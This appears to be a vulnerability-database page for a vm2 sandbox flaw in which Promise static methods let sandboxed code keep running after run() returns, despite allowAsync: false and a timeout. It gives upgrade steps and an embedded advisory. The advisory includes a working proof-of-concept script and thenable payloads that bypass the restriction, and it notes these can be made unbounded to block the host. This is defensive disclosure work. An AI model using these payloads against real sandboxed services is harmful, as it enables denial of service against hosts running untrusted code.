CVE-2026-92959: vm2 `allowAsync: False` Can Be Bypassed Vulnerability
HIGHCVE-2026-92959 is a HIGH (CVSS 7.1) `allowasync: false` can be bypassed vulnerability (CWE-693: Protection Mechanism Failure) affecting vm2 libraries in the npm ecosystem. The issue involves `allowasync: false` can be bypassed through promise thenable assimilation in vm and nodevm. Remediation is available by upgrading affected packages to version 3.11.8.
CVE-2026-92959 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H).
How to Fix CVE-2026-92959
To remediate this vulnerability, upgrade all affected vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.11.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-92959, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.8), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-92959 Affected vm2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.11.8
|
3.11.8
|
References
Frequently Asked Questions
What is CVE-2026-92959?
Which vm2 versions are affected?
What version fixes CVE-2026-92959?
Is vm2 affected?
What is the CVSS score of CVE-2026-92959?
What CWE is associated with CVE-2026-92959?
How can I check npm dependencies for CVE-2026-92959?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f8gf-w286-fmq2",
"modified" : "2026-10-05T22:47:34Z",
"published" : "2026-10-05T22:47:34Z",
"aliases" : [ "CVE-2026-92959" ],
"summary" : "vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM",
"details" : "### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - <<'NODE'\nconst {VM, NodeVM} = require('./');\n\nasync function runVmCase(name, code) {\n const events = [];\n const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});\n try {\n const ret = vm.run(code);\n console.log(`${name}: returned ${ret}`);\n } catch (e) {\n console.log(`${name}: threw ${e.name}:${e.message}`);\n }\n await new Promise(resolve => setImmediate(resolve));\n console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\nasync function runNodeVmCase(name, code) {\n const events = [];\n const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});\n try {\n const ret = vm.run(code);\n console.log(`${name}: returned ${ret}`);\n } catch (e) {\n console.log(`${name}: threw ${e.name}:${e.message}`);\n }\n await new Promise(resolve => setImmediate(resolve));\n console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\n(async () => {\n await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);\n await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);\n await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);\n await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);\n await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);\n await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);\n\n await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);\n await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);\n\n const timeoutEvents = [];\n const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});\n const started = Date.now();\n const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);\n const afterRun = Date.now();\n await new Promise(resolve => setImmediate(resolve));\n console.log(`timeout case returned: ${ret}`);\n console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n console.log(`timeout case events: ${timeoutEvents.length}`);\n console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: <none>\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: <none>\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n \"results\": [\n [\"Promise.resolve thenable\", \"run-returned\", 1],\n [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n [\"Promise.all thenable\", \"run-returned\", 1],\n [\"Promise.all thenable events\", \"all-thenable\"],\n [\"Promise.race thenable\", \"run-returned\", 1],\n [\"Promise.race thenable events\", \"race-thenable\"],\n [\"Promise.any thenable\", \"run-returned\", 1],\n [\"Promise.any thenable events\", \"any-thenable\"],\n [\"Promise.allSettled thenable\", \"run-returned\", 1],\n [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n [\"direct then control events\", \"<none>\"]\n ],\n \"timeoutCase\": {\n \"ret\": 1,\n \"runReturnedInMs\": 0,\n \"events\": [1779866562491],\n \"elapsedMs\": 35\n }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: <none>\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`\n- `VM({allowAsync:false}).run('Promise.all([thenable])')`\n- `VM({allowAsync:false}).run('Promise.race([thenable])')`\n- `VM({allowAsync:false}).run('Promise.any([thenable])')`\n- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`\n- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.11.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.11.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-92959"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-693" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-05T22:47:34Z",
"nvd_published_at" : null
}
}